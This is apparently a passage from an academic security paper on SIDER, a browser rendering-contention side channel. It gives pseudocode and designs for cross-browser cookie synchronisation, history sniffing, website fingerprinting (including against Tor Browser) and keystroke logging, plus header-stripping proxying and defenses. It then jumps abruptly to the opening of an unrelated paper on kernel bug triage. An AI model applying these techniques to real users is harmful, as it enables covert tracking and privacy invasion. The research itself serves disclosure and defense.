1: procedure DENOISING(rawSeq)
2: slicedSequence← Slice(rawSeq, startFrame, endFrame)
3: smoothedSeq← Smooth(slicedSequence)
4: normSeq← Normalize(smoothedSeq)
5: return normSeq
6: function SMOOTH(rawSeq)
7: smoothedSeq← []
8: frameNumber← smoothWindow ÷ 2
9: repeat

10: smoothedValue← Filter(rawSeq, frameNumber, smoothWindow)
11: smoothedSeq.push(smoothedValue)
12: frameNumber++
13: until frameNumber > (rawSeq.length - SmoothValue ÷ 2)
14: return smoothedSeq
15: function NORMALIZE(smoothedSeq)
16: topNormValue←smoothedSeq.top(percentage) .avg()
17: bottomNormValue← smoothedSeq.bottom(1- percentage).avg()
18: frameNumber← 0, normSeq← []
19: repeat
20: normValue ← (smoothedSeq[FrameNumber] -

bottomNormalizationAverage) ÷ (topNormValue -bottomNormValue) ×
normalizationValue

21: normSeq.push(normValue)
22: frameNumber++
23: until frameNumber = smoothedSeq.length
24: return normSeq

find the rest, i.e., the bottom, say 95% values, calculate the av-
erage, and then use it as the bottom reference value (Line 17).
Next, the original value is normalized based on the top and
bottom reference values (Lines 20–22): The bottom reference
value is converted to zero and the top is normalizationValue,
e.g., 100 (Line 20).

Implementation We implement the background stress task
using a WebGL program, which renders a fixed amount of
fish at random locations rotating together with a background
image in a random speed. The task has many randomness,
such as fish location and rotation speed, which greatly re-
duces caching at all levels during the rendering. Further, the
task involves several rotation components, such as fish and
background image, so that even if only a small amount of the
rendering task is visible, the overall workload still stays stable.
Note that The task has two major parts: self-adjustment and
stable rendering. The former part, i.e., self-adjustment, is to
change and find the number of rendered fish according to the
browser. Specifically, this self-adjustment starts from a ran-
dom number of fish and keeps testing the difference between
the rendering interval and the target via a binary search until
the frame per second (FPS) is within a target range. The latter
part, i.e., stable rendering, is to render this background task
constantly using the number of fish found in self-adjustment.

Result. In this part, we show SIDER’s evaluation results.

• Different Background Stress Tasks. Table 2 shows the SNR
values of different background stress tasks. Both the num-
ber of objects and model types have some but minimum
impacts on the SNR. Random location and texture have
the most impacts on SNR. The reasons are two-fold. First,
random location could reduce caches from the browser,
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Table 2: The Shannel’s SNRs of Different Background Tasks.

WebGL project # Objects Model types Location Color SNR (dB)

Rotating objects 20,000 7 random texture 15.1±2.3

Rotating objects 20,000 1 random texture 14.5±2.5

Rotating objects 10,000 7 random texture 14.3±2.2

Rotating objects 20,000 7 fixed texture 9.7±4.4

Rotating objects 20,000 7 random random 5.3±3.2

Two triangles 2 2 fixed random 1.2±4.2
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Figure 4: Denoised Rendering Patterns for Figure 1, i.e.,
Google, QQ, and Youtube in Tor Browser Observed from
a Chrome Window through the Rendering Contention Chan-
nel. Note that we observe that each peak in the denoised curve
maps to an event captured by the performance tool.

the underlying software or the hardware, which improves
the task’s stability. Second, texture introduces a variety
of floating point operations, which could reduce the time
differences from different operations [7].

• Denoising. In this part, we evaluate the denoising effec-
tiveness of SIDER. First, we apply SIDER on Figure 1 and
show the denoised rendering patterns in Figure 4. The scale
of the Figure 4 is normalized to values between 0 and 100
and here we use binary values as an example. It is worth
noting that we manually checked the performance tool’s
results and found that each peak in the figure maps to a
rendering event, such as rendering of a logo or an image.

Second, we intentionally introduce contention noises from
CPU, GPU, and screen buffer and evaluate how SIDER
reduce different kinds of noises. Figure 5 shows the de-
noising results on different machines with software and
hardware rendering. The denoising results are mostly con-
sistent across noises caused by contentions on different
hardware. When the noise level increases, the denoising
from SIDER also becomes more effective, i.e., the SNR
difference before and after denoising increases more. In
some cases, e.g., the CPU noise in Figure 5a, SIDER can
double the SNR from 5 dB to 10 dB.

Table 3: A high-level summary of target events in four attacks
using the rendering contention channel.

Attack Target Event

Cross-browser cookie sync An adversary-specified task
History sniffing Loading of a target page by the adversary
Website fingerprinting Loading of a target page by the user
Keystroke logging Loading of an autocomplete textbox

5 Rendering Channel Attacks
In this section, we describe how to use SIDER to launch four
different attacks using the rendering contention channel. A
high-level summary of different target events is shown in
Table 3 and an overview of four attacks is shown in Figure 6.
We now describe these attacks.

5.1 Attack One: Cross-browser cookie synchronization

Our first attack is a covert, one-way communication channel
between different browsers or modes of the same browser,
e.g., normal and incognito. Such an attack can be used to syn-
chronize tracking cookies belonging to a given domain across
browser or mode. Specifically, we describe two use cases of
this synchronization. First, DoubleClick, a third-party track-
ing website, keeps a cookie associated with user’s behavior
for targeted advertising on one browser. When the user opens
another browser to visit webpages with DoubleClick, Dou-
bleClick synchronizes the tracking cookie across browsers
to still deliver targeted ads. Second, NYTimes uses cookies
to limit the number of free articles for a user during a month.
The user visits NYTimes in the incognito mode to avoid be-
ing tracked. This covert communication enables NYTimes to
synchronize the cookie across modes, thus still tracking the
number of free articles of the user.

5.1.1 Attack Design

The attack design is shown in Figure 6.(a): The sender
and the receiver first establish a connection based on a pre-
negotiated protocol and then transmit data via the convert
channel. Specifically, there are two important layers other
than the raw channel and SIDER, which are (i) Connection
Establishing and (ii) Encoding and Error Correction. First,
SIDER establishes a connection so that both parties need to
know the start time of the communication as the channel al-
ways exists. The sender renders a specific sequence of bit
stream as a start and the receiver only starts to record informa-
tion if the given bit stream is observed. Second, SIDER adopts
error detection and correction encoding, such as Hamming
code, to further reduce errors caused by noises. Specifically,
the high-level idea of Hamming code is that the valid code
always has a certain self-editing distance from each other and
therefore some changes to a code, if being smaller than one
half of the distance, can be corrected. All the communication,
including the establishing pattern, are all encoded in a certain
Hamming code.
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(a) Mac Pro (Hardware rendering)
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(b) iMac (Hardware rendering)
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(c) Windows (Hardware rendering)
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(d) Ubuntu (Hardware rendering)
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(e) Mac Pro (Software rendering)
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(f) iMac (Software rendering)
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(g) Windows (Software rendering)
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Figure 5: Signal-to-Noise Ratio (SNR) before and after denoising on different machines.
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Figure 6: An illustration of four attacks using SIDER.

Theoretical Communication Bandwidth We discuss the
theoretical bandwidth of this covert communication. Say we
want to transmit n bits in one frame and the screen refresh
rate is Freqrefresh. We show the theoretical bandwidth in Equa-
tion 2 if we assume the distribution of 0 and 1 is the same
in the communication and the interval between each level
(e.g., 01 and 10 in the example of two bits) is the same as the
refresh interval. r is the ratio of Hamming code.

Bandwidththeory =
Freqrefresh×n

1+2+...+2n

2n

× r = 22.9bits/s (2)

where r = 4/7 for Hamming(7,4) code, Freqrefresh = 60 with
the normal 60 Hz refresh rate, and n = 1 for one bit per frame.

5.1.2 Implementation and Evaluation Results

We implement a prototype of the covert communication,
which pulses the rendering task on and off for a certain amount
of time as the bit zero and one. We then evaluate the communi-
cation between each pair of three browsers (Google Chrome
84, Safari 13 and Firefox 79) as the sender and three plus
Tor Browser 9.0.1 as the receiver. The cross-mode commu-
nication adopts one second as the interval of one pulse, the
cross-browser two seconds, and any communication involv-
ing Tor Browser four seconds. Table 4 shows the experiment
results of transmitting 256 random bits on an MacBook with
Intel HD Graphics 515 1536 MB. All the texts are correctly
transmitted without any error showing the feasibility of the

Table 4: Cross-browser or cross-mode cookie synchronization
of 256-byte random texts between different browser pairs.
Note that (i) the diagonal line means synchronization from
normal to incognito mode, and (ii) we did not include Tor
Browser as a sender because it isolates all third-party cookies.

sender\ receiver Google Chrome Safari Firefox Tor Browser

Google Chrome 1.12 bits/s 0.56 bits/s 0.56 bits/s 0.28 bits/s
Safari 0.56 bits/s 1.12 bits/s 0.56 bits/s 0.28 bits/s
Firefox 0.56 bits/s 0.56 bits/s 1.12 bits/s 0.28 bits/s

attack. Note that we did not include Tor Browser as the sender
due to its strong policy in deleting and isolating cookies.

We would like to point out that the actual bandwidth in
practice is much smaller than the theoretical one. There are
several reasons. First, it is because we cannot perfectly align
the received signal with the sending signal. When the band-
width is lower, even if the alignment has some small errors,
we can still correctly infer the signal. Second, the theoretical
bandwidth assumes that there exists no noise. In practice, the
existence of noise will make actual bandwidth lower accord-
ing to the Shannon limit.

5.2 Attack Two: History Sniffing

In this subsection, we describe our second attack, history
sniffing. The key insight here is that the rendering of a vis-
ited website is different from unvisited ones. The reason is
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Algorithm 2 Max-min Outlier Detection
Input: targetSequence, referencePool
Output: True or False
1: function OUTLIERDETECTION(targetSequence, referencePool)
2: max← maximum(referencePool.calcPairDistance(DTW-M))
3: newPool← referencePool∪ {targetSequence}
4: min← min(newPool.calcPairDistance(targetSequence, DTW-

M))
5: if max<min then
6: return True
7: else
8: return False
9: procedure DTW-M(sequenceQ, sequenceC)

10: m← Length(sequenceQ), n← Length(sequenceC)
11: distanceMap← [][]
12: DTWMdistanceMap← [][]
13: for i in 0...m do
14: for j in 0...n do
15: distanceMap[i][j] ← i≥ j ? |sequenceQ[i] -

sequenceC[j]| : maxValue
16: if i = 0 || j = 0 then
17: DTWMdistanceMap[i][j] ← distanceMap[i][j]
18: else
19: DTWMdistanceMap[i][j] ← MinDistance(i, j,

distanceMap, DTWMdistanceMap)

20: return DTWMdistanceMap[m][n]

that modern web browsers cache contents, such as images
and scripts, in memory and disk, for a visited website. Then,
when the browser visits and renders the website again, these
contents are immediately fetched from the cache and become
available so that incremental rendering groups them together
for rendering, making the rendering pattern different from an
unvisited one.

5.2.1 Attack Design

Figure 6.(b) shows a high-level overview of the history sniff-
ing attack. The attacker embeds either the target website or a
website with almost exactly the same contents (i.e., the URLs
of all the images, videos, and other contents are preserved)
but from a different domain as an iframe. We have the second
option because some websites, like Google, disallow itself
to be embedded as an iframe. From a high level, the attacker
loads the target repeatedly for several times (say n) and com-
pares the first unknown loading with the rest (i.e., the loading
of a cached page) using an outlier detection algorithm. If the
first load is different from the rest, the attacker will consider
that the target has been unvisited; otherwise, visited.

Max-min Outlier Detection Algorithm Algorithm 2
shows the algorithm. First, SIDER calculates the maximum
pairwise distance (called max) among the reference group
(Line 2), and then the minimum pairwise distance (called
min) between the target sequence and the reference group
(Line 4). If the max is less than the min (Line 5), it means
that the data samples within the reference group are signifi-
cantly similar to each other, but the target is an outlier (Line
6); otherwise, SIDER cannot differentiate the target from the

reference group and will not consider the target as an outlier
(Line 8).

SIDER adopts a modified version of Dynamic Time Warp-
ing [4], defined as DTW-M, for computing pair-wise distance
between two data sequence Q and C with lengths as n and
m. Specifically, SIDER first creates a matrix with dimensions
of n×m, in which the value of each element (i, j) is the dis-
tance between Qi and C j (Line 15). Then, SIDER finds a path,
W = w1,w2, ...,wk, in this matrix from (1,1) to (n,m) (Lines
16–19) that satisfies the following properties:
• The path starts from (1,1) to (m,n).
• Continuity and monotonic. If wk−1 = (a′,b′), the next step

wk can only be (a′+1,b′), (a′,b′+1) or (a′+1,b′+1).
• Lagging (our modification). Each element (i, j) in the

path must follow i≥ j.
• Minimum summation value (our modification). The sum-

mation of values of the selected path is the minimum among
all possible paths.
Finally, SIDER adopts a dynamic programming algorithm

to calculate the minimum distance at each step (Line 19) and
selects the minimum path in the end (Line 20).

A website rerouting target contents Because some web-
sites, such as Google and Youtube, disallow another website
to embed itself as an iframe and prevent frame busting, we
need to build another third-party website with a different
domain name but being similar to the target. Specifically,
we rely on a proxy to remove such protections, e.g., the
X-Frame-Options header and the Content Security Policy
(CSP) header, and relay all the contents without any modifi-
cation to the client in another domain name. Note that such a
proxied rendering has a similar effect as the original website:
The index page, e.g., those in HTML, is not cached, but other
contents, such as scripts and images, still are.

5.2.2 Experiment Setup

We ask real-world users from Amazon Mechanical Turk to
visit our website for the history sniffing attack. The specific
steps are as follows. First, we ask them to enter incognito
mode for the experiments due to our IRB requirement (See
Section 6). Then, we ask them to install an add-on in the
incognito mode for the verification purpose. Next, we ask
them to visit a selected list of websites from Alexa Top 100.
Lastly, we ask them to visit our attack website for the history
sniffing attack: All the data including the history sniffing
result and intermediate rendering data will be then transferred
back to our server for analysis via the client-side code of our
attack website. It is worth noting that the add-on has two
tasks. It will monitor that (i) the participant to ensure that the
participant has visited the website in our instruction and also
(ii) the participant is in private browsing mode so that browser
histories are cleared. In practice, we do observe participants
who do not install our add-on and we abandoned such data,
but they all follow our instructions if the add-on is installed.
We did not collect browser versions during the experiment
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Figure 7: The CDF graph of F1-Score, Precision and Recall of History Sniffing Attack against Top 100 Alexa Websites (broken
down by Chrome, Firefox, and Safari).

and adopt the number (n) of loading the target webpage as
four in practice.

5.2.3 Evaluation Results

In the experiment, we collected data from 60 browser in-
stances (20 Firefox, 20 Chrome, and 20 Safari) from Amazon
Mechanical Turk after filtering those who do not install our
add-on.

F1-score, Precision, and Recall Figure 7 shows the Cumu-
lative Distribution Function of F1-score, precision and recall
of the history sniffing attack against Top 100 Alexa Websites
on three browsers. The median F1-score is 0.723 on Chrome,
0.763 on Firefox, and 0.750 on Safari. The best performing
website is Baidu, the largest search engine in China, due to
its clear rendering pattern with and without cache. The worst
one is the login page of TMall, because the page is too simple
without much rendering to perform.

There are two things worth noting. First, the performance
of websites that are directly embedded as an iframe is gener-
ally better than those that are rerouted from a third-party due
to, for example, the X-Frame-Options protection because a
third-party website indeed loses some cached contents due to
a different domain name. Second, the performance of web-
sites may differ from browser to browser. For example, the
attack on Amazon, when rerouted via a third-party domain, is
very high on Firefox with 0.947 F1-score, but relatively low
on Chrome with 0.739 F1-score. The reason is that Firefox
tends to group more contents during rendering a cached Ama-
zon, but Chrome group less. This is supposed to be a good
performance feature of Firefox, but somehow also makes it
more vulnerable to the history sniffing attack.

Stealthiness Testing In this part, we evaluate the stealthi-
ness of our history sniffing attack on local machines. Specifi-
cally, we perform three tests: (i) changing the frame size of
the target website from 5%, 20%, 90% to 100% of the screen
width, (ii) changing the frame size of the attack website, and

(iii) partially occluding, making transparent, and introducing
an overlay to the attack website. The results in this evaluation
show that the F1-scores of our history sniffing attack of Top
100 Alexa websites under all stealthy settings are with 1.4%
of the ones under the fully-visible iframe setting.

Over-time Attack Performance In this part, we evaluate
the over-time F1-score of Top 100 Alexa websites on a given
machine with five months difference. The results show that
the attack F1-Score of each website may vary a little, but
stay within 5% range of increase or decrease. Note that we
expect that the performance of the history sniffing attack is
unrelated to time, because we obtain all the traces in real-time
instead of offline. The F1-score differences are mainly caused
by content changes rather than any performance degradation
over time.

Performance vs. the Number of Frames In this part, we
evaluate the attack performance vs. the number of collected
frames for three websites. The result shows a strong correla-
tion. Particularly, we show the F1-Score of the history sniffing
attack in Figure 8 as the number of frames increases of Baidu,
JD and 360. The performance of Baidu is high even if there
are just a small number of frames due to two explicit, early
rendering events. The performance of JD and 360 is low in
the beginning, but jumps at certain number of frames, because
of a differentiable event in the middle of the rendering.

Attacks on Mobile Browsers In this part, we further evalu-
ate the history sniffing attack on mobile browsers. Specifically,
we choose two mobile devices: one Samsung Galaxy Note
9 with Qualcomm AArch 64 Processor rev 13 CPU, Adreno
(TM) 630 GPU and the other iPhone X with Hexa-core 2.39
GHz CPU, Apple GPU. We test the history sniffing attack
on qq.com for ten times with the default browser on both
devices, i.e, Samsung Internet 15 and Safari 14. The attack
succeeds on Samsung Internet (i.e., all ten inferences are cor-
rect), but fails on Safari (i.e., all ten inference results are the
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Figure 11: DNN Architecture for Website Fingerprinting.

same no matter qq.com is visited or not). The reason is that
Safari separates the iframe cache from the top frame cache
similar to Tor Browser. Note that the rendering contention
channel still exists, but the specific attack on iPhone’s Safari
does not work because of the caching policy. We believe that
such cache separation is a good strategy in defending against
history sniffing attacks in general.

5.3 Attack Three: Website Fingerprinting

In this subsection, we describe our third attack, website fin-
gerprinting, from design, experiment setup and evaluation.

5.3.1 Attack Design

Figure 6.(c) shows the overall attack design of our website
fingerprinting attack. The attacker’s website locates in a sepa-
rate window from the target, which collects data using SIDER
from the rendering channel and then compares the collected
data with several offline traces at the server side to decide the
target. We now describe our DNN-based outlier detection at
the server side for fingerprinting.

DNN-based Outlier Detection We design the architecture
of our DNN for two important properties: (i) support of se-
quential data with varied length, and (ii) support of combina-
tion of multiple side-channels. Our detailed DNN architecture
is shown in Figure 11, which accepts denoised data as input
and outputs a classification result of a website name. SIDER
provides multiple convolutional layers with max pooling and

then an LSTM layer for each side channel, and then uses one
flatten and one concatenate layer to combine outputs from all
the channels. Then, SIDER adopts one dropout and one dense
layer after the concatenate layer to output the final, combined
result. Note that the concatenate layer also supports simple
channels like loading time: For example, SIDER adopts two
dense layers to incorporate loading time to concatenate with
other channels.

5.3.2 Experiment Setup

We now describe how we collect our offline traces and how
to conduct the website fingerprinting during runtime. Note
that we use Chrome 84, Firefox 79, and Safari 13 in this
experiment.

Offline Traces We collect our dataset following the state-
of-the-art methodology [49] with closed- and open-world
settings. All the data are collected from a MacBook Pro i5-
7360U LLC 4 MB with Intel Iris Plus Graphics 640.

• Closed-world setting. Datasets in this setting consist of
100 traces each for 100 websites.
• Open-world setting. Datasets in this setting consist of the

closed-world dataset plus 4,675 other webpages, leaving
more possibilities than the closed-world setting. Note that
the original code from Shusterman et al. [49] only collects
4,675 other pages rather than 5,000 as stated in the paper.

Online Attack Setting We run the website fingerprinting
attack on an Alienware Aurora R7 Intel Core i7-8700k LLC
12MB with NVIDIA GeForce GTX 1080 and Windows 10.
The attack website collects top 100 Alexa website data and
then sends the data back to a server for the attack.

5.3.3 Evaluation Results

We evaluate same-browser, cross-browser and over-time per-
formance of website fingerprinting in this part.

F1-Score, Precision and Recall of Same-browser Attack
We evaluate the F1-Score, Precision and Recall of (i) render-
ing contention channel, (ii) cache occupancy [49], and (iii)
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Figure 12: The CDF graph of F1-Score, Precision and Recall of Website Fingerprinting Attack against 100 Websites in a
Closed-world Setting (the 100 website list and the setting configuration are from Shusterman et al. [49]).

0.0 0.2 0.4 0.6 0.8 1.0
0%

20%

40%

60%

80%

100%
Com bined

Rendering Content ion Channel

Cache Occupancy Channel

F1 Score

P
e

rc
e

n
ta

g
e

(a) F1-Score

0.0 0.2 0.4 0.6 0.8 1.0
0%

20%

40%

60%

80%

100%
Com bined

Rendering Content ion Channel

Cache Occupancy Channel

Precision

P
e

rc
e

n
ta

g
e

(b) Precision

0.0 0.2 0.4 0.6 0.8 1.0
0%

20%

40%

60%

80%

100%
Com bined

Rendering Content ion Channel

Cache Occupancy Channel

Recall

P
e

rc
e

n
ta

g
e

(c) Recall

Figure 13: The CDF graph of F1-Score, Precision and Recall of Website Fingerprinting Attack against 100 Websites in an
Open-world Setting (the 100 website list and the setting configuration are from Shusterman et al. [49]).

the combined with two channels running simultaneously. Fig-
ure 12 shows the closed-world result and Figure 13 the open-
world. In the closed-world setting, the medium F1-Score is
0.703 for the combined channel, 0.683 for the rendering con-
tention and 0.609 for the cache occupancy; in the open-world
setting, the medium F1-Score is 0.746 for the combined, 0.690
for the rendering contention, and 0.667 for cache occupancy.
The combination of two channels improves the performance
of website fingerprinting.

It is worth noting that the capabilities of rendering con-
tention and cache occupancy channels are different. The
rendering contention channel is good at fingerprinting web-
sites with high rendering load, such as video websites and
those with abundant visual contents, while the cache oc-
cupancy is good at those websites with high computation
tasks, e.g., JavaScript calculations. For example, rendering
contention channel (R) outperforms cache occupancy (C)
in yandex.com (R: 96.3%, C: 88.2%) and ltn.com.tw (R:
96.8%, C: 87.0%); by contrast, cache occupancy outperforms
rendering contention in askcom.me (R: 82.8%, C: 88.9%) and
wittyfeed.tv (R: 80.0%, C: 96.3%). Note that all numbers
in the previous sentence are in the open-world setting.

Table 5: Performance of SIDER and cache occupancy in cross-
browser website fingerprinting of 100 sites in the closed-
world setting.

Cross-browser Channel Accuracy F1-Score Precision Recall

Chrome→Firefox Rendering contention 82.0% 66.0% 78.6% 56.9%
Cache occupancy 52.0% 47.2% 52.0% 43.0%

Chrome→Tor Browser Rendering contention 74.1% 57.8% 69.4% 49.5%
Cache occupancy 42.8% 40.4% 49.5% 34.1%

Chrome→Safari Rendering contention 80.2% 64.6% 79.6% 54.5%
Cache occupancy 57.9% 54.8% 81.6% 41.3%

Performance of Cross-browser Attack We evaluate the
performance of cross-browser website fingerprinting with
two settings: (i) an adversary website located in Chrome
launching the attack against visited website in Firefox, and
(ii) an adversary website located in Chrome launching
the attack against visited website in Tor Browser. Table 5
shows the performance of the cross-browser website fin-
gerprinting (Chrome→Firefox, Chrome→Tor Browser, and
Chrome→Safari). Note that the cross-browser attack perfor-
mance against Tor Browser is on par with the same-browser
attack on commercial browsers. That is, even if users adopt
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Table 6: Overtime F1-score of SIDER and cache occupancy in
website fingerprinting of 20 sites in the closed-world setting.

Channel Day #1 Day #7 Day #64

Rendering contention 88.2% 82.2% 67.4%
Cache occupancy 89.0% 83.4% 60.3%

Tor Browser with a high security level, the behaviors on Tor
Browser can still be inferred as long as that the user keeps
another browser open in the background.

Over-time Performance We evaluate the overtime perfor-
mance of both our rendering and the cache occupancy chan-
nels in terms of F1-score. That is, we collect offline traces
at Day #1 and test the performance with newly crawled data
at Day #X. Table 6 shows the evaluation results. The per-
formance degradation of the rendering contention channel is
similar to the cache occupancy. In the beginning at Day #7,
the performance of the rendering channel degrades a little
bit more than the cache occupancy. Then, at Day #64, i.e.,
two months later, the performance of the rendering channel is
actually 7% better than the one of the cache occupancy. The
reason could be that the rendering channel is more sensitive
to visual content changes, but the cache occupancy is more
sensitive to computational heavy task changes. In a short
term, visual contents may change, but in a long term, website
layouts are preserved.

5.4 Attack Four: Keystroke Logging

In this subsection, we describe the details of our key stroke
logging attack.

5.4.1 Attack Design

Figure 6 illustrates the keystroke logging attack. When a user
types in a search word in a search engine, such as Google,
the attack will collect the runtime data and send it back to a
server. Then, the server compares the data with precollected
data to infer the keyword following Monaco [40].

5.4.2 Experiment Setup

We adopt a keystroke dataset collected by a research
group [18] and adopted by other research papers [40]. The
dataset shows over 100k users typing excerpts from the En-
ron email corpus and English gigaword newswire corpus.
We adopt the Github repository provided by Monaco to pre-
process the data, e.g., separating words, and choose popular
keywords typed by different people as our dataset. We then
simulate the typing with an add-on that inputs keywords fol-
lowing the interval specified in the dataset. SIDER is running
on another window to collect performance data. All the ex-
periments of the keystroke logging attacks are performed on
a Dell machine installed with Windows 10 and Chrome 84.

5.4.3 Evaluation Results

Figure 9 shows the precision, recall and F1-Score of this
keystroke logging attack when the number of candidate key-
words increases. As expected, when the number of keywords
is small, e.g., two and three, and those keywords different
from each other, the attack’s F1-Score is very high. However,
when the number of keywords increases and some keywords
are similar to each other, e.g., with similar length, the attack’s
F1-Score drops significantly to around 70%. We would like to
point out that keystroke logging is the weakest attack among
three because the rendering event is relatively short and the
number of collected frames is relatively small.

6 Discussion
In this section, we describe several commonly-raised issues.

Ethics. We have obtained IRB approval before conducting
the research. The communication between our group and IRB
committee mainly focuses on two things: (i) whether our ex-
periment will obtain private information, and (ii) whether the
user is aware of our attack. First, one IRB reviewer is con-
cerned that if a user is logged into his Facebook or Google
Account, the information on his or her page may contain
private information. We explained to the reviewer that our
experiment is performed in private browsing mode and all
cookies are cleared by default. Second, one IRB reviewer is
concerned that we may conceal our data collection and there-
fore we explicitly show all the iframes in the attack without
occlusion or transparency. In the end, we have obtained an
“Exempt” decision for this project.

Limitations. We discuss several limitations of the render-
ing contention channel when it is used for four attacks. First,
while cookie synchronization, history sniffing, and keystroke
logging are unrelated to the time, the performance of website
fingerprinting degrades over time because website contents
may change. Our evaluation in Section 5.3 shows that the
performance can at least last for a week. Second, while Tor
Browser is vulnerable to cross-browser website fingerprint-
ing and covert communication as a receiver, the performance
for other attacks, e.g., history sniffing, is limited because Tor
Browser deletes caches and cookies during every start and
does not share them between third-party domains. The “Safer”
security level further limits the attack types, because it makes
WebGL click-to-play; at the same time, the aforementioned
two attacks also work in the “Safer” security level. Third, our
rendering contention channel requires that web browser ren-
ders contents on the screen. That is, although a user can switch
to another window like incognito mode, another browser, or
even another application like Word, the user cannot switch to
another tab too quickly for the same-browser attack scenario.
The reason is that modern browsers optimize performance
and stop rendering for an inactive tab.

Other Influential Factors and Factor Breakdowns. It is
worth noting that although we identify that CPU, GPU and
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screen buffers are contributing factors of the rendering con-
tentions channel, it might still be some other factors that we
did not test using our single variable testing. We will leave it
for the future work to explore all other possible factors. Simi-
larly, we will leave the breakdown of CPU and GPU factors,
e.g., ALU, CPU cache, GPU core, and GPU cache, as our
future work.

7 Possible Defenses
In this section, we discuss possible defenses against the ren-
dering side channel and corresponding framework, SIDER.
There are two traditional methods in defending against timing
attacks: fuzzy and deterministic time. The former, like Tor
Browser and Fuzzyfox [30], reduces timer resolution and adds
jitters, while the latter, like DeterFox [12], makes the timer
tick based on a deterministic event.
Fuzzy Time. We first discuss and evaluate the effectiveness
of fuzzy time in defending against SIDER. Although modern
browsers have already reduced their timer precision, the pre-
cision especially on commercial browsers is still relatively
high, e.g., 1 ms. In this part, we mimic the behaviors of exist-
ing defenses by introducing a larger noise and reducing the
resolution to the similar level. Then, we evaluate F1-Score of
history sniffing attack of existing websites, e.g., Baidu, and
show the results of three commercial browsers in Figure 10.

There are three things worth noting here. (i) It requires a
relatively high-level defense noise, e.g., 10 ms in Figure 10,
in order to influence the performance of SIDER in conducting
history sniffing attack. The reason is that the useful infor-
mation of this rendering side channel is the pattern across
different frames instead of the performance values of each
frame. (ii) The robustness of three commercial browsers are
similar: Chrome needs a high noise level for defense, and Sa-
fari and Firefox are similar. (iii) Theoretically, the background
rendering task can increase the workload to overcome defense
noise, but in practice, SIDER cannot degrade the performance
of browser rendering too much to influence user experience.

Deterministic Time. We now discuss the effectiveness of
deterministic time in defending against SIDER. Since a deter-
ministic timer normalizes the interval between consecutive
frames, SIDER cannot observe any patterns to launch the at-
tack. Therefore, deterministic timer, if implemented correctly,
can defend against rendering contention channel. Specifically,
we evaluated SIDER in DeterFox [12], a research prototype
browser modified from Firefox, with deterministic time. The
workload adjustment of our background rendering task fails
to find an appropriate FPS because the FPS is always a deter-
mined value in DeterFox.

However, deterministic time brings compatibility and func-
tionality issues. Say a WebGL program wants to adjust its
workload dynamically based on the FPS. The FPS measured
using a deterministic timer is always a constant value. That
is, deterministic time sacrifices important WebGL function-

alities for FPS measurement in defending against rendering
contention channel.

8 Conclusion
In this paper, we propose a rendering contention side channel
that stresses the rendering resource abstracted by operating
systems, measures the time taken to render a sequence of
frames, and then infers any co-rendering event of the browser.
We then perform single variable testing and deduce that the
rendering contention channel is caused by a combination of
CPU, GPU, and screen buffer although the detailed break-
down depends on different configurations, e.g., software vs.
hardware rendering. We further designed and implemented an
attack framework, called SIDER, and launched four types of
attacks: cross-browser/mode cookie synchronization, history
sniffing, website fingerprinting and keystroke logging. Our
evaluation shows that all four attacks are feasible in practical
settings.
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Abstract
Fuzzing has become one of the most effective bug find-
ing approach for software. In recent years, 24*7 con-
tinuous fuzzing platforms have emerged to test critical
pieces of software, e.g., Linux kernel. Though capable of
discovering many bugs and providing reproducers (e.g.,
proof-of-concepts), a major problem is that they neglect a
critical function that should have been built-in, i.e., eval-
uation of a bug’s security impact. It is well-known that
the lack of understanding of security impact can lead to
delayed bug fixes as well as patch propagation. In this
paper, we develop SyzScope, a system that can auto-
matically uncover new “high-risk” impacts given a bug
with seemingly “low-risk” impacts. From analyzing over
a thousand low-risk bugs on syzbot, SyzScope success-
fully determined that 183 low-risk bugs (more than 15%)
in fact contain high-risk impacts, e.g., control flow hijack
and arbitrary memory write, some of which still do not
have patches available yet.

1 Introduction

Fuzzing is one of the most prolific approaches to dis-
cover bugs in software. Nowadays, it is even becom-
ing an integral part of the software development pro-
cess. For example, OSS-Fuzz [25] is a popular plat-
form that can fuzz open-source software continuously.
In addition to OSS-Fuzz which targets primarily user-
space applications, there is also an continuous fuzz test-
ing platform called syzbot [28] dedicated to fuzz testing
Linux kernels. The platform has been operational since
2017. Equipped with the state-of-the-art kernel fuzzer
Syzkaller [29], it has already reported more than 4,000
bugs to date.

Despite the huge success, such continuous fuzzing
platform leads to a major challenge — the rate of bug dis-
covery is much higher than the rate of bug fixes. Taking
the syzbot platform as an example, at the time of writing

(Jun 2021), we find that it takes on average 51 days to fix
a bug (over 3,396 fixed bugs), whereas it takes less than
0.4 day for syzbot to report a new bug.

Another critical challenge is the patch propagation to
downstream kernels [52], e.g., various PC distributions
such as Ubuntu, and the smartphone OS - Android. Even
if the syzbot bugs are patched in Linux, there is often a
lack of knowledge on which patched bugs are security-
critical. This can have a significant impact on patch prop-
agation delays [52]. One prominent example is CVE-
2019-2215 [17], a use-after-free bug that can root most
Android devices (e.g., Samsung Galaxy S9). It was ini-
tially reported by syzbot and fixed in Linux upstream in
52 days [16]. Unfortunately, it took over a year for the
patch to propagate to downstream Android kernels due
to the lack of knowledge on its security impact. In fact,
it was only until after bad actors were caught exploiting
this vulnerability in the wild did Google start to realize
its severity and obtained a CVE number [17].

The previous two challenges illustrate a critical defi-
ciency in today’s continuous fuzzing platforms — lack of
automated bug triage, or bug impact analysis. The goal
of this paper is to bridge this gap in the context of Linux
kernel bugs. Performing automated bug impact analyses
is challenging and an active area of research, especially
in the kernel space. Recently, Wu et al. proposed a solu-
tion called sid on inferring the security impact of a patch
statically [47], e.g., use-after-free, or out-of-bound mem-
ory access. However, due to the nature of the analysis
being completely static, it has to make tradeoffs between
soundness and completeness. Furthermore, without an
actual reproducer, it falls short in determining whether
the bug is actually triggerable and exploitable in reality.
On the other end of the spectrum, there has been recent
progress on automated exploit generation against kernel
bugs, fully demonstrating the exploitability of a bug by
turning a reproducer into an actual exploit. Fuze [49] and
KOOBE [20] are two representative studies that target
use-after-free (UAF) and out-of-bound (OOB) memory
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access bugs respectively.
However, fuzzer-generated bug reports often do not

contain the real security impact. For example, as we find
in our experiments, a WARNING error can in fact lead
to UAF or OOB. Furthermore, while UAF and OOB bug
types are arguably the most impactful bug types that lead
to most real-world exploits, not all of them are created
equal. For example, a write primitive, as opposed to read,
is always more dangerous than a read, potentially caus-
ing corruption of critical pieces of data (e.g., function
pointer), leading to arbitrary code execution and privi-
lege escalation. Similarly, a function pointer dereference
primitive is also more dangerous than a read primitive.
We define the high-risk and low-risk impacts in §2.2.

As evidence that such a distinction between high-risk
and low-risk bugs already exists, we find, from syzbot’s
historical data, that UAF/OOB write bugs are often fixed
